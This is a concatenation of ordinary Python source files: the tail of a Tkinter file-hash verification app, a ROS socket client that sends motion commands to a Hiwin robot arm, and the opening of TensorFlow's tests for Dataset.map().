num_info, self.sep_fmt, err_title, self.sep_fmt, '']
header_lines = '\n'.join(header_lines)
err_file.write(header_lines)
err_file.writelines(err_lines)
return err_lines
else:
if os.path.isfile(err_path):
os.remove(err_path)
return None
except PermissionError as perm_err:
return perm_err
except UnicodeDecodeError as code_err:
return code_err
else:
try:
self.prog_bar.configure(mode='indeterminate')
kwargs = {'action': 'Reading', 'path': dir_path}
win_text = self.modif_text.format(**kwargs)
self.label.configure(text=win_text)
self.display_window()
self.prog_bar.start(15)
for path, dirs, files in os.walk(dir_path):
for file in files:
file_path = os.path.join(path, file)
base_path = os.path.dirname(file_path)
if base_path != dir_path:
path_dict[file_path] = None
else:
file_ext = os.path.splitext(file_path)[1][1:].lower()
if file_ext in self.alg_dict.values():
skip_dict[file_path] = None
else:
if file_ext != 'err':
path_dict[file_path] = None
else:
temp_path = os.path.splitext(file_path)[0]
file_ext = os.path.splitext(temp_path)[1][1:].lower()
if file_ext in self.alg_dict.values():
skip_dict[file_path] = None
else:
path_dict[file_path] = None
self.prog_bar.stop()
kwargs = {'action': 'Reading', 'path': hash_path}
win_text = self.win_text.format(**kwargs)
self.label.configure(text=win_text)
self.prog_bar.start(15)
with open(hash_path, mode='r', encoding='utf-8') as hash_file:
for line in hash_file:
if line.count('*'):
file_hash, rel_path = map(str.strip, line.split('*')[:2])
file_hash = file_hash.lower()
file_path = os.path.join(dir_path, rel_path)
file_path = os.path.abspath(file_path)
base_path = os.path.dirname(file_path)
if base_path == dir_path:
file_ext = os.path.splitext(file_path)[1][1:].lower()
if file_ext in self.alg_dict.values():
skip_dict[file_path] = None
else:
if file_ext == 'err':
temp_path = os.path.splitext(file_path)[0]
file_ext = os.path.splitext(temp_path)[1][1:].lower()
if file_ext in self.alg_dict.values():
skip_dict[file_path] = None
if file_path not in hash_dict:
hash_dict[file_path] = file_hash
else:
err_line = self.err_fmt.format(err='Duplicated ', path=rel_path)
if err_line not in err_lines:
err_lines.append(err_line)
if file_path in skip_dict:
err_line = self.err_fmt.format(err='Not skipped', path=rel_path)
if err_line not in err_lines:
err_lines.append(err_line)
if not os.path.isfile(file_path):
err_line = self.err_fmt.format(err='Not found ', path=rel_path)
if err_line not in err_lines:
err_lines.append(err_line)
self.prog_bar.stop()
self.prog_bar.configure(mode='determinate')
kwargs = {'action': 'Processing', 'path': hash_path}
win_text = self.win_text.format(**kwargs)
self.label.configure(text=win_text)
total_num = len(path_dict)
file_num = 0
for key in path_dict:
file_num += 1
file_path = key
rel_path = os.path.relpath(file_path, start=dir_path)
if file_path not in hash_dict:
err_line = self.err_fmt.format(err='Not listed ', path=rel_path)
err_lines.append(err_line)
else:
old_hash = hash_dict[file_path]
new_hash = self.calc_hash(alg, file_path)
if type(new_hash) == str:
if new_hash != old_hash:
err_line = self.err_fmt.format(err='Not match ', path=rel_path)
err_lines.append(err_line)
elif type(new_hash) == PermissionError:
err_line = self.err_fmt.format(err='Permission ', path=rel_path)
err_lines.append(err_line)
else:
err_line = self.err_fmt.format(err='Unknown ', path=rel_path)
err_lines.append(err_line)
progress = (file_num / total_num) * 100
self.prog_bar['value'] = progress
self.master.update()
if err_lines:
with open(err_path, mode='w', encoding='utf-8') as err_file:
time_info = self.info_fmt.format(info='Generated', data=time.ctime())
num_info = self.info_fmt.format(info='Number of Errors', data=len(err_lines))
err_title = 'Error Type'
header_lines = [self.app_title, self.app_website, self.sep_fmt, time_info,
num_info, self.sep_fmt, err_title, self.sep_fmt, '']
header_lines = '\n'.join(header_lines)
err_file.write(header_lines)
err_file.writelines(err_lines)
self.hide_window()
verif_msg = '\n\n'.join([self.win_title, self.err_msg, err_path])
kwargs = {'proc_win': self, 'alg_win': self.alg_win,
'win_type': 2, 'win_text': verif_msg}
self.master.after(0, lambda: self.open_window(MsgWin, **kwargs))
else:
if os.path.isfile(err_path):
os.remove(err_path)
self.hide_window()
verif_msg = '\n\n'.join([self.win_title, self.ok_msg, hash_path])
kwargs = {'proc_win': self, 'alg_win': self.alg_win,
'win_type': 1, 'win_text': verif_msg}
self.master.after(0, lambda: self.open_window(MsgWin, **kwargs))
except PermissionError as perm_err:
self.hide_window()
file_path = os.path.abspath(perm_err.filename)
verif_msg = '\n\n'.join([self.win_title, self.perm_msg, file_path])
kwargs = {'proc_win': self, 'alg_win': self.alg_win,
'win_type': 2, 'win_text': verif_msg}
self.master.after(0, lambda: self.open_window(MsgWin, **kwargs))
except UnicodeDecodeError as code_err:
self.hide_window()
fmt = code_err.encoding.upper()
verif_msg = '\n\n'.join([self.win_title, self.code_msg.format(fmt=fmt), hash_path])
kwargs = {'proc_win': self, 'alg_win': self.alg_win,
'win_type': 2, 'win_text': verif_msg}
self.master.after(0, lambda: self.open_window(MsgWin, **kwargs))
except (tk.TclError, RuntimeError):
pass
def _set_texts(self):
"""
Setting window texts
"""
self.win_title = self.title_fmt.format(main=self.opt_dict[self.opt_num], add=self.alg.upper())
self.win_msg = self.action_fmt.format(action='Processing', path=self.path)
self.modif_text = '\n'.join([self.win_title, self.action_fmt])
self.perm_msg = "Permission Error! We can't process the following file."
self.code_msg = "Decoding Error! The file must be encoded in {fmt} format."
self.empty_msg = "Empty Error! The directory doesn't have correct files to process."
self.ok_msg = "The process has been successfully completed.\nThank you very much!"
self.err_msg = "Warning! The verification process has failed.\nPlease check the error file for more details."
def _create_menus(self):
pass
def _create_buttons(self):
pass
class MsgWin(MainWin):
def __init__(self, master=None, proc_win=None, alg_win=None, win_type=None, win_text=None, *args, **kwargs):
"""
Initialize message window
"""
if proc_win is None:
proc_win = ProcWin()
if alg_win is None:
alg_win = proc_win.alg_win
if win_type is None:
win_type = 1
if win_text is None:
win_text = ''
self.proc_win = proc_win
self.alg_win = alg_win
self.win_type = win_type
self.win_text = win_text
super().__init__(master, *args, **kwargs)
if master is not None:
self.display_sound(self.win_type)
self.display_window()
def display_sound(self, win_type=None):
"""
Display sound depending on window type
"""
if win_type is None:
self.master.bell()
else:
sound_dict = {1: ws.MB_OK, 2: ws.MB_ICONHAND}
ws.MessageBeep(sound_dict[win_type])
def save_to_clipboard(self, text):
"""
Save some text to clipboard
"""
self.master.clipboard_clear()
self.master.clipboard_append(text)
def open_directory(self, path):
"""
Open a directory by path
"""
Popen(self.open_fmt.format(path=path))
def close_window(self, window=None):
"""
Execute special actions when window is closed
"""
text_list = self.win_text.split('\n\n')
if (self.proc_win.opt_num == 1) and (self.win_type == 1):
alg = text_list[0].split(' ')[-1]
file_path = text_list[1]
file_hash = text_list[2]
calc_line = ' '.join([file_hash, file_path, alg])
func = self.save_to_clipboard
arg = calc_line
else:
file_path = text_list[-1]
func = self.open_directory
arg = file_path
if self.proc_win.opt_num == 3:
close = self.alg_win.close_window
else:
close = self.proc_win.close_window
if not ((self.proc_win.opt_num == 3) and (self.win_type == 1)):
func(arg)
close()
def _create_menus(self):
pass
def _create_labels(self):
"""
Create icon and text labels
"""
type_dict = {1: 'information', 2: 'warning'}
style_dict = {1: self.text_style[0], 2: self.text_style[3]}
icon_type = self.icon_fmt.format(type=type_dict[self.win_type])
self.icon_label = ttk.Label(self.upper_frame, image=icon_type)
self.text_label = ttk.Label(self.upper_frame, text=self.win_text)
self.text_label.configure(style=style_dict[self.win_type])
self.icon_label.pack(side='left', fill='both', expand='yes', padx=(10, 5), pady=15)
self.text_label.pack(side='right', fill='both', expand='yes', padx=(0, 15), pady=15)
def _create_buttons(self):
"""
Create ok button
"""
self.ok_button = ttk.Button(self.lower_frame, text='OK')
self.ok_button.configure(style=self.button_style[0], padding=(6, 3), takefocus=False)
self.ok_button['command'] = self.close_window
self.ok_button.pack(side='right', padx=15, pady=(5, 15))
AddMoveControl(master=self.master, buttons=[self.ok_button])
class AboutWin(MainWin):
def __init__(self, master=None, *args, **kwargs):
"""
Initialize about window
"""
super().__init__(master, *args, **kwargs)
self._create_about()
self._center_window()
if master is not None:
self.display_window()
def _create_about(self):
"""
Create application about
"""
self.master.title('About')
copyright_msg = self.copyright_fmt.format(year=self.app_year, sep='\n', author=self.app_author)
self.image_label = ttk.Label(self.upper_frame, image=self.app_image)
self.title_label = ttk.Label(self.upper_frame, text=self.app_title)
self.phrase_label = ttk.Label(self.upper_frame, text=self.app_phrase)
self.copyright_label = ttk.Label(self.lower_frame, text=copyright_msg)
self.license_button = ttk.Button(self.lower_frame, text='License')
self.donate_button = ttk.Button(self.lower_frame, text='Donate')
self.close_button = ttk.Button(self.lower_frame, text='Close')
self.image_label.configure(padding=15, justify='center')
self.title_label.configure(font='Helvetica 16 bold', justify='center')
self.phrase_label.configure(font='Helvetica 10', justify='center')
self.copyright_label.configure(font='Helvetica 8', padding=20, justify='center')
self.license_button.configure(style=self.button_style[0], padding=(6, 3), takefocus=False)
self.donate_button.configure(style=self.button_style[0], padding=(6, 3), takefocus=False)
self.close_button.configure(style=self.button_style[0], padding=(6, 3), takefocus=False)
self.license_button['command'] = lambda: self.open_window(LicenseWin)
self.donate_button['command'] = lambda: self.open_window(DonateWin)
self.close_button['command'] = self.close_window
self.image_label.pack(expand='yes')
self.title_label.pack(expand='yes')
self.phrase_label.pack(expand='yes')
self.copyright_label.pack(expand='yes')
self.license_button.pack(side='left', fill='x', expand='yes', padx=(15, 7), pady=(5, 15))
self.donate_button.pack(side='left', fill='x', expand='yes', padx=(7, 7), pady=(5, 15))
self.close_button.pack(side='left', fill='x', expand='yes', padx=(7, 15), pady=(5, 15))
self.buttons = [self.license_button, self.donate_button, self.close_button]
AddMoveControl(master=self.master, buttons=self.buttons)
def _create_menus(self):
pass
def _create_labels(self):
pass
def _create_buttons(self):
pass
class LicenseWin(MainWin):
def __init__(self, master=None, *args, **kwargs):
"""
Initialize license window
"""
super().__init__(master, *args, **kwargs)
self._create_license()
self._center_window()
if master is not None:
self.display_window()
def _create_license(self):
"""
Create application license
"""
self.master.title('License')
self.license_text = tk.Text(self.upper_frame)
self.scroll_bar = ttk.Scrollbar(self.upper_frame)
self.license_text.insert(index='end', chars=self.app_license)
self.license_text.configure(font='Helvetica 8', state='disable')
self.license_text.configure(yscrollcommand=self.scroll_bar.set)
self.scroll_bar['command'] = self.license_text.yview
self.upper_frame.bind('<MouseWheel>', func=self.scroll_text)
self.scroll_bar.bind('<MouseWheel>', func=self.scroll_text)
self.scroll_bar.pack(side='right', fill='y')
self.license_text.pack(fill='both', expand='yes', padx=10, pady=10)
self.master.bind('<Up>', func=self.scroll_text)
self.master.bind('<Down>', func=self.scroll_text)
def scroll_text(self, event):
"""
Scroll license text when event is fired
"""
sign = int(event.delta / 120) * (-1)
key = event.keysym.lower()
if key == 'up':
sign = -1
elif key == 'down':
sign = 1
value = sign * 3
self.license_text.yview_scroll(number=value, what='units')
def _create_menus(self):
pass
def _create_labels(self):
pass
def _create_buttons(self):
pass
class DonateWin(MainWin):
def __init__(self, master=None, *args, **kwargs):
"""
Initialize donate window
"""
super().__init__(master, *args, **kwargs)
self._create_donate()
self._center_window()
if master is not None:
self.display_window()
def _create_donate(self):
"""
Create application donate
"""
self.master.title('Donate')
self.paypal_icon = tk.PhotoImage(master=self.master, data=paypal_code)
self.donate_label = ttk.Label(self.upper_frame, text=self.app_donate)
self.paypal_label = ttk.Label(self.upper_frame, image=self.paypal_icon)
self.paypal_button = ttk.Button(self.upper_frame, text=self.paypal_msg)
self.email_label = ttk.Label(self.lower_frame, text=self.email_msg)
self.email_link = ttk.Label(self.lower_frame, text=self.app_email)
self.donate_label.configure(style=self.text_style[0], padding=(15, 10, 15, 15))
self.paypal_button.configure(style=self.button_style[1], padding=(20, 3), takefocus=False)
self.email_link.configure(foreground='dark violet', cursor='hand2')
self.paypal_button['command'] = lambda: wb.open(self.app_paypal)
self.email_link.bind('<Button-1>', func=self.display_menu)
self.donate_label.pack(expand='yes')
self.paypal_label.pack(side='left', expand='yes', padx=(30, 0), pady=5)
self.paypal_button.pack(side='right', expand='yes', padx=(0, 30), pady=5)
self.email_label.pack(expand='yes', pady=(15, 0))
self.email_link.pack(expand='yes', pady=(0, 20))
AddTooltip(widget=self.paypal_button, text=self.app_paypal)
AddMoveControl(master=self.master, buttons=[self.paypal_button])
def display_menu(self, event):
"""
Display popup menu when event is fired
"""
self.popup_menu.post(event.x_root, event.y_root)
def copy_email(self):
"""
Copy application email to clipboard
"""
self.master.clipboard_clear()
self.master.clipboard_append(self.app_email)
def _set_texts(self):
"""
Setting window texts
"""
self.paypal_msg = "Donate with PayPal"
self.email_msg = "For feedback and suggestions, please send an email to:"
def _create_menus(self):
"""
Create popup menu
"""
self.popup_menu = tk.Menu(self.master, tearoff=False)
self.popup_menu.configure(activeforeground='black', activebackground='light blue')
self.popup_menu.add_command(label='Copy', command=self.copy_email)
def _create_labels(self):
pass
def _create_buttons(self):
pass
app = MainApp()
|
Hiwin_RT605_ArmCommand_Socket_20190627192736.py | #!/usr/bin/env python3
# license removed for brevity
import rospy
import os
import socket
##多執行序
import threading
import time
import sys
import matplotlib as plot
import HiwinRA605_socket_TCPcmd as TCP
import HiwinRA605_socket_Taskcmd as Taskcmd
import numpy as np
from std_msgs.msg import String
from ROS_Socket.srv import *
from ROS_Socket.msg import *
from std_msgs.msg import Int32MultiArray
import math
import enum
Socket = 0
data = '0' #設定傳輸資料初始值
Arm_feedback = 1 #假設手臂忙碌
NAME = 'socket_server'
arm_mode_flag = False
##------------class pos-------
class point():
def __init__(self, x, y, z, pitch, roll, yaw):
self.x = x
self.y = y
self.z = z
self.pitch = pitch
self.roll = roll
self.yaw = yaw
pos = point(0.0,36.8,11.35,-90.0,0.0,0.0)
##------------class socket_cmd---------
class socket_data():
def __init__(self, grip, setvel, ra, delay, setboth, action,Speedmode):
self.grip = grip
self.setvel = setvel
self.ra = ra
self.delay = delay
self.setboth = setboth
self.action = action
self.Speedmode = Speedmode
socket_cmd = socket_data(0,0.0,0,0,0,0,0)
##-----------switch define------------##
class switch(object):
def __init__(self, value):
self.value = value
self.fall = False
def __iter__(self):
"""Return the match method once, then stop"""
yield self.match
raise StopIteration
def match(self, *args):
"""Indicate whether or not to enter a case suite"""
if self.fall or not args:
return True
elif self.value in args: # changed for v1.5, see below
self.fall = True
return True
else:
return False
##-----------client feedback arm state----------
class StateFeedback():
def __init__(self,ArmState,SentFlag):
self.ArmState = ArmState
self.SentFlag = SentFlag
state_feedback = StateFeedback(0,0)
class client():
def __init__(self):
self.get_connect()
def get_connect(self):
self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.s.connect(('192.168.0.1', 8080))
def send(self, msg):
self.s.send(msg.encode('utf-8')) #用utf-8來encode，還有其他encode的方法，str用utf-8就OK!
def get_recieve(self):
data = self.s.recv(1024) #1024指定buffer的大小，限制一次收多少
data.decode('utf-8')
return data
def point_data(x,y,z,pitch,roll,yaw): ##接收策略端傳送位姿資料
pos.x = x
pos.y = y
pos.z = z
pos.pitch = pitch
pos.roll = roll
pos.yaw = yaw
##----------Arm Mode-------------###
def Arm_Mode(action,grip,ra,setvel,setboth): ##接收策略端傳送手臂模式資料
global arm_mode_flag
socket_cmd.action = action
socket_cmd.grip = grip
socket_cmd.ra = ra
socket_cmd.setvel = setvel
socket_cmd.setboth = setboth
arm_mode_flag = True
#Socket_command()
##-------Arm Speed Mode------------###
def Speed_Mode(speedmode): ##接收策略端傳送手臂模式資料
socket_cmd.Speedmode = speedmode
def socket_talker(): ##創建Server node
pub = rospy.Publisher('chatter', Int32MultiArray, queue_size=10)
rospy.init_node(NAME)
rate = rospy.Rate(10) # 10hz
print ("Ready to connect")
while not rospy.is_shutdown():
# hello_str = "hello world %s" % rospy.get_time()
state = Int32MultiArray()
state.data = [state_feedback.ArmState,state_feedback.SentFlag]
pub.publish(state)
rate.sleep()
##----------socket 封包傳輸--------------##
##---------------socket 傳輸手臂命令-----------------
def Socket_command():
global Socket,arm_mode_flag,data
if arm_mode_flag == True:
arm_mode_flag = False
for case in switch(socket_cmd.action):
#-------PtP Mode--------
if case(Taskcmd.Action_Type.PtoP):
for case in switch(socket_cmd.setboth):
if case(Taskcmd.Ctrl_Mode.CTRL_POS):
data = TCP.SetPtoP(socket_cmd.grip,Taskcmd.RA.ABS,Taskcmd.Ctrl_Mode.CTRL_POS,pos.x,pos.y,pos.z,pos.pitch,pos.roll,pos.yaw,socket_cmd.setvel)
break
if case(Taskcmd.Ctrl_Mode.CTRL_EULER):
data = TCP.SetPtoP(socket_cmd.grip,Taskcmd.RA.ABS,Taskcmd.Ctrl_Mode.CTRL_EULER,pos.x,pos.y,pos.z,pos.pitch,pos.roll,pos.yaw,socket_cmd.setvel)
break
if case(Taskcmd.Ctrl_Mode.CTRL_BOTH):
data = TCP.SetPtoP(socket_cmd.grip,Taskcmd.RA.ABS,Taskcmd.Ctrl_Mode.CTRL_BOTH,pos.x,pos.y,pos.z,pos.pitch,pos.roll,pos.yaw,socket_cmd.setvel)
break
break
#-------Line Mode--------
if case(Taskcmd.Action_Type.Line):
for case in switch(socket_cmd.setboth):
if case(Taskcmd.Ctrl_Mode.CTRL_POS):
data = TCP.SetLine(socket_cmd.grip,Taskcmd.RA.ABS,Taskcmd.Ctrl_Mode.CTRL_POS,pos.x,pos.y,pos.z,pos.pitch,pos.roll,pos.yaw,socket_cmd.setvel)
break
if case(Taskcmd.Ctrl_Mode.CTRL_EULER):
data = TCP.SetLine(socket_cmd.grip,Taskcmd.RA.ABS,Taskcmd.Ctrl_Mode.CTRL_EULER,pos.x,pos.y,pos.z,pos.pitch,pos.roll,pos.yaw,socket_cmd.setvel )
break
if case(Taskcmd.Ctrl_Mode.CTRL_BOTH):
data = TCP.SetLine(socket_cmd.grip,Taskcmd.RA.ABS,Taskcmd.Ctrl_Mode.CTRL_BOTH,pos.x,pos.y,pos.z,pos.pitch,pos.roll,pos.yaw,socket_cmd.setvel )
break
break
#-------設定手臂速度--------
if case(Taskcmd.Action_Type.SetVel):
data = TCP.SetVel(socket_cmd.grip, socket_cmd.setvel)
break
#-------設定手臂Delay時間--------
if case(Taskcmd.Action_Type.Delay):
data = TCP.SetDelay(socket_cmd.grip,0)
break
#-------設定手臂急速&安全模式--------
if case(Taskcmd.Action_Type.Mode):
data = TCP.Set_SpeedMode(socket_cmd.grip,socket_cmd.Speedmode)
break
socket_cmd.action= 6 ##切換初始mode狀態
print(data)
print("Socket:", Socket)
Socket.send(data.encode('utf-8'))#socket傳送for python to translate str
##-----------socket client--------
def socket_client():
global Socket
try:
Socket = client()
#Socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#Socket.connect(('192.168.0.1', 8080))#iclab 5 ＆ iclab hiwin
#s.connect(('192.168.1.102', 8080))#iclab computerx
print('Connection has been successful')
except socket.error as msg:
print(msg)
sys.exit(1)
#print('Connection has been successful')
print(Socket.recv(1024))
Socket_feedback(Socket)
# while 1:
# feedback_str = Socket.recv(1024)
# #手臂端傳送手臂狀態
# if str(feedback_str[2]) == '48':# F 手臂為Ready狀態準備接收下一個運動指令
# state_feedback.ArmState = 0
# if str(feedback_str[2]) == '49':# T 手臂為忙碌狀態無法執行下一個運動指令
# state_feedback.ArmState = 1
# if str(feedback_str[2]) == '54':# 6 策略完成
# state_feedback.ArmState = 6
# print("shutdown")
# #確認傳送旗標
# if str(feedback_str[4]) == '48':#回傳0 false
# state_feedback.SentFlag = 0
# if str(feedback_str[4]) == '49':#回傳1 true
# state_feedback.SentFlag = 1
# ##---------------socket 傳輸手臂命令 end-----------------
# if state_feedback.ArmState == Taskcmd.Arm_feedback_Type.shutdown:
# break
rospy.on_shutdown(myhook)
Socket.close()
def Socket_feedback(s):
Socket = s
while 1:
feedback_str = Socket.recv(1024)
#手臂端傳送手臂狀態
if str(feedback_str[2]) == '48':# F 手臂為Ready狀態準備接收下一個運動指令
state_feedback.ArmState = 0
if str(feedback_str[2]) == '49':# T 手臂為忙碌狀態無法執行下一個運動指令
state_feedback.ArmState = 1
if str(feedback_str[2]) == '54':# 6 策略完成
state_feedback.ArmState = 6
print("shutdown")
#確認傳送旗標
if str(feedback_str[4]) == '48':#回傳0 false
state_feedback.SentFlag = 0
if str(feedback_str[4]) == '49':#回傳1 true
state_feedback.SentFlag = 1
##---------------socket 傳輸手臂命令 end-----------------
if state_feedback.ArmState == Taskcmd.Arm_feedback_Type.shutdown:
break
##-----------socket client end--------
##-------------socket 封包傳輸 end--------------##
def myhook():
print ("shutdown time!")
if __name__ == '__main__':
socket_cmd.action = 6##切換初始mode狀態
## 多執行緒
t = threading.Thread(target=socket_client)
t.start() # 開啟多執行緒
#time.sleep(1)
try:
socket_talker()
except rospy.ROSInterruptException:
pass
t.join()
## 多執行序 end
|
map_test.py | # Copyright 2017 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Tests for `tf.data.Dataset.map()`."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from collections import namedtuple
import threading
import warnings
from absl.testing import parameterized
import numpy as np
from tensorflow.core.framework import attr_value_pb2
from tensorflow.core.protobuf import config_pb2
from tensorflow.python.data.experimental.ops import threading_options
from tensorflow.python.data.kernel_tests import test_base
from tensorflow.python.data.ops import dataset_ops
from tensorflow.python.eager import context
from tensorflow.python.framework import constant_op
from tensorflow.python.framework import dtypes
from tensorflow.python.framework import errors
from tensorflow.python.framework import ops
from tensorflow.python.framework import sparse_tensor
from tensorflow.python.framework import tensor_util
from tensorflow.python.framework import test_util
from tensorflow.python.ops import array_ops
from tensorflow.python.ops import control_flow_ops
from tensorflow.python.ops import data_flow_ops
from tensorflow.python.ops import lookup_ops
from tensorflow.python.ops import map_fn
from tensorflow.python.ops import math_ops
from tensorflow.python.ops import random_ops
from tensorflow.python.ops import script_ops
from tensorflow.python.ops import sparse_ops
from tensorflow.python.ops import string_ops
from tensorflow.python.ops import variable_scope
from tensorflow.python.ops import variables
from tensorflow.python.platform import test
def _make_coordinated_sloppy_dataset(num_elements, num_parallel_calls):
"""Produces a dataset iterator and events to control the order of elements.
Args:
num_elements: the number of input elements
num_parallel_calls: the degree of map parallelism
Returns:
A dataset iterator (represented as `get_next` op) and events that can be
used to control the order of output elements.
"""
# Set up threading events used to sequence when items are produced that
# are subsequently interleaved. These events allow us to deterministically
# simulate slowdowns and force sloppiness.
coordination_events = {i: threading.Event() for i in range(num_elements)}
def map_py_fn(x):
coordination_events[x].wait()
coordination_events[x].clear()
return x * x
def map_fn(x):
return script_ops.py_func(map_py_fn, [x], x.dtype)
options = dataset_ops.Options()
options.experimental_deterministic = False
dataset = dataset_ops.Dataset.range(num_elements).map(
map_fn, num_parallel_calls).with_options(options)
return dataset, coordination_events
# TODO(jsimsa): Add tests for `map_with_legacy_function`.
@test_util.run_all_in_graph_and_eager_modes
class MapTest(test_base.DatasetTestBase, parameterized.TestCase):
def _buildMapDataset(self, components, count):
def _map_fn(x, y, z):
return math_ops.square(x), math_ops.square(y), math_ops.square(z)
dataset = dataset_ops.Dataset.from_tensor_slices(components).map(
_map_fn).repeat(count)
self.assertEqual([c.shape[1:] for c in components],
[shape for shape in dataset.output_shapes])
return dataset
def testMapDataset(self):
"""Test an dataset that maps a TF function across its input elements."""
# The pipeline is TensorSliceDataset -> MapDataset(square_3) ->
# RepeatDataset(count).
components = (np.arange(7),
np.array([[1, 2, 3]]) * np.arange(7)[:, np.newaxis],
np.array(37.0) * np.arange(7))
# Test single-threaded access to the iterator.
get_next = self.getNext(self._buildMapDataset(components, 14))
for _ in range(14):
for i in range(7):
result = self.evaluate(get_next())
for component, result_component in zip(components, result):
self.assertAllEqual(component[i]**2, result_component)
with self.assertRaises(errors.OutOfRangeError):
self.evaluate(get_next())
# TODO(b/117581999): add eager coverage, different threads run in graph
# context.
@test_util.run_v1_only("b/120545219")
def testSkipEagerMapDatasetMultithreaded(self):
# Test multi-threaded access to the same iterator.
components = (np.arange(7),
np.array([[1, 2, 3]]) * np.arange(7)[:, np.newaxis],
np.array(37.0) * np.arange(7))
get_next = self.getNext(self._buildMapDataset(components, 18))
results = []
with self.cached_session() as sess:
def iterator_thread():
while True:
try:
results.append(sess.run(get_next()))
except errors.OutOfRangeError:
return
threads = [self.checkedThread(target=iterator_thread) for _ in range(8)]
for t in threads:
t.start()
for t in threads:
t.join()
# `results` will contain the same elements components**2
# repeated 18 times, but in a non-deterministic order. Sort the
# results, and assert that each element of components**2 is
# produced 18 times.
results.sort(key=lambda x: x[0])
for i in range(7):
for j in range(18):
for component, result_component in zip(components,
results[i * 18 + j]):
self.assertAllEqual(component[i]**2, result_component)
def _buildParallelMapDataset(self, components, count, num_parallel_calls,
output_buffer_size):
def _map_fn(x, y, z):
return math_ops.square(x), math_ops.square(y), math_ops.square(z)
dataset = dataset_ops.Dataset.from_tensor_slices(components).map(
_map_fn, num_parallel_calls=num_parallel_calls).prefetch(
output_buffer_size).repeat(count)
self.assertEqual([c.shape[1:] for c in components],
[shape for shape in dataset.output_shapes])
return dataset
def testParallelMapDataset(self):
"""Test an dataset that maps a TF function across its input elements."""
# The pipeline is TensorSliceDataset -> ParallelMapDataset(square_3) ->
# RepeatDataset(count).
def do_test(num_parallel_calls, output_buffer_size):
components = (np.arange(7),
np.array([[1, 2, 3]]) * np.arange(7)[:, np.newaxis],
np.array(37.0) * np.arange(7))
# Test single-threaded access to the iterator.
get_next = self.getNext(
self._buildParallelMapDataset(components, 14, num_parallel_calls,
output_buffer_size))
for _ in range(14):
for i in range(7):
result = self.evaluate(get_next())
for component, result_component in zip(components, result):
self.assertAllEqual(component[i]**2, result_component)
with self.assertRaises(errors.OutOfRangeError):
self.evaluate(get_next())
for num_parallel_calls_val, output_buffer_size_val in [(1, 1), (1, 2), (2,
2),
(2, 4), (8, 8),
(8, 16)]:
do_test(num_parallel_calls_val, output_buffer_size_val)
# TODO(b/117581999): add eager coverage, different threads run in graph
# context.
@test_util.run_v1_only("b/120545219")
def testSkipEagerParallelMapDatasetMultithreaded(self):
def do_test(num_parallel_calls, output_buffer_size):
# Test multi-threaded access to the same iterator.
components = (np.arange(7),
np.array([[1, 2, 3]]) * np.arange(7)[:, np.newaxis],
np.array(37.0) * np.arange(7))
get_next = self.getNext(
self._buildParallelMapDataset(components, 18, num_parallel_calls,
output_buffer_size))
results = []
with self.cached_session() as sess:
def iterator_thread():
while True:
try:
results.append(sess.run(get_next()))
except errors.OutOfRangeError:
return
threads = [self.checkedThread(target=iterator_thread)
for _ in range(64)]
for t in threads:
t.start()
for t in threads:
t.join()
# `results` will contain the same elements components**2
# repeated 18 times, but in a non-deterministic order. Sort the
# results, and assert that each element of components**2 is
# produced 18 times.
results.sort(key=lambda x: x[0])
for i in range(7):
for j in range(18):
for component, result_component in zip(components,
results[i * 18 + j]):
self.assertAllEqual(component[i]**2, result_component)
for num_parallel_calls_val, output_buffer_size_val in [
(1, 1), (1, 2), (2, 2), (2, 4), (8, 8), (8, 16)]:
do_test(num_parallel_calls_val, output_buffer_size_val)
def testImplicitDisposeParallelMapDataset(self):
# Tests whether a parallel map dataset will be cleaned up correctly when
# the pipeline does not run it until exhaustion.
# The pipeline is TensorSliceDataset -> MapDataset(square_3) ->
# RepeatDataset(1000).
components = (np.arange(1000),
np.array([[1, 2, 3]]) * np.arange(1000)[:, np.newaxis],
np.array(37.0) * np.arange(1000))
dataset = self._buildParallelMapDataset(components, 1000, 100, 100)
# NOTE(mrry): Also test that the prefetching thread is cancelled correctly.
dataset = dataset.prefetch(100)
get_next = self.getNext(dataset)
for _ in range(3):
self.evaluate(get_next())
def testParallelMapUnspecifiedOutputSize(self):
components = np.array([1., 2., 3., np.nan, 5.]).astype(np.float32)
dataset = (dataset_ops.Dataset.from_tensor_slices(components)
.map(lambda x: array_ops.check_numerics(x, "message"),
num_parallel_calls=2))
get_next = self.getNext(dataset)
for _ in range(3):
self.evaluate(get_next())
def testParallelMapError(self):
components = np.array([1., 2., 3., np.nan, 5.]).astype(np.float32)
dataset = (dataset_ops.Dataset.from_tensor_slices(components)
.map(lambda x: array_ops.check_numerics(x, "message"),
num_parallel_calls=2))
get_next = self.getNext(dataset)
for _ in range(3):
self.evaluate(get_next())
# The 4th element is NaN, so `array_ops.check_numerics()` should fail.
with self.assertRaises(errors.InvalidArgumentError):
self.evaluate(get_next())
self.evaluate(get_next())
with self.assertRaises(errors.OutOfRangeError):
self.evaluate(get_next())
def testPrefetchError(self):
components = np.array([1., 2., 3., np.nan, 5.]).astype(np.float32)
dataset = (dataset_ops.Dataset.from_tensor_slices(components)
.map(lambda x: array_ops.check_numerics(x, "message"))
.prefetch(2))
get_next = self.getNext(dataset)
for _ in range(3):
self.evaluate(get_next())
# The 4th element is NaN, so `array_ops.check_numerics()` should fail.
with self.assertRaises(errors.InvalidArgumentError):
self.evaluate(get_next())
self.evaluate(get_next())
with self.assertRaises(errors.OutOfRangeError):
self.evaluate(get_next())
def testCaptureIterator(self):
def _build_ds(iterator):
def _map_fn(x):
get_next = iterator.get_next()
return x * get_next
return dataset_ops.Dataset.range(10).map(_map_fn)
def _build_graph():
if context.executing_eagerly():
captured_iterator = iter(dataset_ops.Dataset.range(10))
else:
captured_iterator = dataset_ops.make_initializable_iterator(
dataset_ops.Dataset.range(10))
ds = _build_ds(captured_iterator)
return captured_iterator, ds
captured_iter, ds = _build_graph()
if not context.executing_eagerly():
self.evaluate(captured_iter.initializer)
get_next = self.getNext(ds, requires_initialization=True)
for i in range(10):
self.assertEqual(i * i, self.evaluate(get_next()))
